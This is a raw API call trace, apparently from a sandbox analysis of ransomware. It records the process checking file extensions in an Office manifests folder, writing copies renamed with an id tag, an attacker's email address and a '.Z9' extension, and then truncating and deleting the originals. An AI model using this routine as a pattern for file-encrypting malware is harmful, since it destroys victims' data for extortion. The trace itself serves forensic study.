	[0078.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.483] lstrlenW (lpString=".1cd") returned 4
	[0078.483] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml") returned 104
	[0078.483] lstrlenW (lpString=".jpg") returned 4
	[0078.483] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.483] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.483] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53
	[0078.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.765] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1261) returned 1
	[0078.772] CloseHandle (hObject=0x35c) returned 1
	[0078.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.789] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.789] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.797] GetLastError () returned 0x0
	[0078.797] ReadFile (in: hFile=0x35c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0078.801] WriteFile (in: hFile=0x37c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0078.802] ReadFile (in: hFile=0x35c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.802] WriteFile (in: hFile=0x37c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.802] SetEndOfFile (hFile=0x37c) returned 1
	[0078.802] CloseHandle (hObject=0x37c) returned 1
	[0078.803] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.803] SetEndOfFile (hFile=0x35c) returned 1
	[0078.804] CloseHandle (hObject=0x35c) returned 1
	[0078.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1
	[0078.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.804] lstrlenW (lpString=".doc") returned 4
	[0078.804] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString=".docx") returned 5
	[0078.805] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.805] lstrlenW (lpString=".pdf") returned 4
	[0078.805] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString=".xls") returned 4
	[0078.805] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString=".xlsx") returned 5
	[0078.805] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.805] lstrlenW (lpString=".ppt") returned 4
	[0078.805] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.805] lstrlenW (lpString=".zip") returned 4
	[0078.805] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.805] lstrlenW (lpString=".rar") returned 4
	[0078.805] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString=".bz2") returned 4
	[0078.805] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString=".7z") returned 3
	[0078.805] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.805] lstrlenW (lpString=".dbf") returned 4
	[0078.805] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.805] lstrlenW (lpString=".1cd") returned 4
	[0078.805] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.805] lstrlenW (lpString=".jpg") returned 4
	[0078.805] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.805] lstrlenW (lpString=".doc") returned 4
	[0078.805] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.805] lstrlenW (lpString=".docx") returned 5
	[0078.805] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.805] lstrlenW (lpString=".pdf") returned 4
	[0078.806] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.806] lstrlenW (lpString=".xls") returned 4
	[0078.806] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.806] lstrlenW (lpString=".xlsx") returned 5
	[0078.806] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.806] lstrlenW (lpString=".ppt") returned 4
	[0078.806] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.806] lstrlenW (lpString=".zip") returned 4
	[0078.806] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.806] lstrlenW (lpString=".rar") returned 4
	[0078.806] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.806] lstrlenW (lpString=".bz2") returned 4
	[0078.806] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.806] lstrlenW (lpString=".7z") returned 3
	[0078.806] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.806] lstrlenW (lpString=".dbf") returned 4
	[0078.806] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.806] lstrlenW (lpString=".1cd") returned 4
	[0078.806] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104
	[0078.806] lstrlenW (lpString=".jpg") returned 4
	[0078.806] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.806] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.806] lstrlenW (lpString="AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 53
	[0078.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.807] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1261) returned 1
	[0078.807] CloseHandle (hObject=0x35c) returned 1
	[0078.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0078.807] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.807] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.807] GetLastError () returned 0x0
	[0078.807] ReadFile (in: hFile=0x35c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0078.809] WriteFile (in: hFile=0x37c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0078.810] ReadFile (in: hFile=0x35c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.810] WriteFile (in: hFile=0x37c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.810] SetEndOfFile (hFile=0x37c) returned 1
	[0078.810] CloseHandle (hObject=0x37c) returned 1
	[0078.811] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.811] SetEndOfFile (hFile=0x35c) returned 1
	[0078.812] CloseHandle (hObject=0x35c) returned 1
	[0078.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1
	[0078.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.813] lstrlenW (lpString=".doc") returned 4
	[0078.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.813] lstrlenW (lpString=".docx") returned 5
	[0078.813] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.813] lstrlenW (lpString=".pdf") returned 4
	[0078.813] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.813] lstrlenW (lpString=".xls") returned 4
	[0078.813] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.813] lstrlenW (lpString=".xlsx") returned 5
	[0078.813] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.813] lstrlenW (lpString=".ppt") returned 4
	[0078.813] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.813] lstrlenW (lpString=".zip") returned 4
	[0078.813] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.813] lstrlenW (lpString=".rar") returned 4
	[0078.813] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.813] lstrlenW (lpString=".bz2") returned 4
	[0078.813] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.813] lstrlenW (lpString=".7z") returned 3
	[0078.813] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.813] lstrlenW (lpString=".dbf") returned 4
	[0078.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.813] lstrlenW (lpString=".1cd") returned 4
	[0078.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.813] lstrlenW (lpString=".jpg") returned 4
	[0078.814] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.814] lstrlenW (lpString=".doc") returned 4
	[0078.814] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.814] lstrlenW (lpString=".docx") returned 5
	[0078.814] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.814] lstrlenW (lpString=".pdf") returned 4
	[0078.814] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.814] lstrlenW (lpString=".xls") returned 4
	[0078.814] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.814] lstrlenW (lpString=".xlsx") returned 5
	[0078.814] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.814] lstrlenW (lpString=".ppt") returned 4
	[0078.814] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.814] lstrlenW (lpString=".zip") returned 4
	[0078.814] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.814] lstrlenW (lpString=".rar") returned 4
	[0078.814] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.814] lstrlenW (lpString=".bz2") returned 4
	[0078.814] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.814] lstrlenW (lpString=".7z") returned 3
	[0078.814] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.814] lstrlenW (lpString=".dbf") returned 4
	[0078.814] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.814] lstrlenW (lpString=".1cd") returned 4
	[0078.814] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104
	[0078.814] lstrlenW (lpString=".jpg") returned 4
	[0078.814] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.815] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.815] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53
	[0078.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.816] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1450) returned 1
	[0078.816] CloseHandle (hObject=0x37c) returned 1
	[0078.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0078.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.816] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.816] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.818] GetLastError () returned 0x0
	[0078.818] ReadFile (in: hFile=0x37c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x5aa, lpOverlapped=0x0) returned 1
	[0078.829] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0078.833] ReadFile (in: hFile=0x37c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.833] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.833] SetEndOfFile (hFile=0x324) returned 1
	[0078.833] CloseHandle (hObject=0x324) returned 1
	[0078.834] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.834] SetEndOfFile (hFile=0x37c) returned 1
	[0078.835] CloseHandle (hObject=0x37c) returned 1
	[0078.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1
	[0078.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.836] lstrlenW (lpString=".doc") returned 4
	[0078.836] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.836] lstrlenW (lpString=".docx") returned 5
	[0078.836] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.836] lstrlenW (lpString=".pdf") returned 4
	[0078.836] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.836] lstrlenW (lpString=".xls") returned 4
	[0078.836] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.836] lstrlenW (lpString=".xlsx") returned 5
	[0078.836] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.836] lstrlenW (lpString=".ppt") returned 4
	[0078.836] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.836] lstrlenW (lpString=".zip") returned 4
	[0078.836] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.836] lstrlenW (lpString=".rar") returned 4
	[0078.836] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.836] lstrlenW (lpString=".bz2") returned 4
	[0078.836] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.836] lstrlenW (lpString=".7z") returned 3
	[0078.836] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.836] lstrlenW (lpString=".dbf") returned 4
	[0078.836] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.837] lstrlenW (lpString=".1cd") returned 4
	[0078.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.837] lstrlenW (lpString=".jpg") returned 4
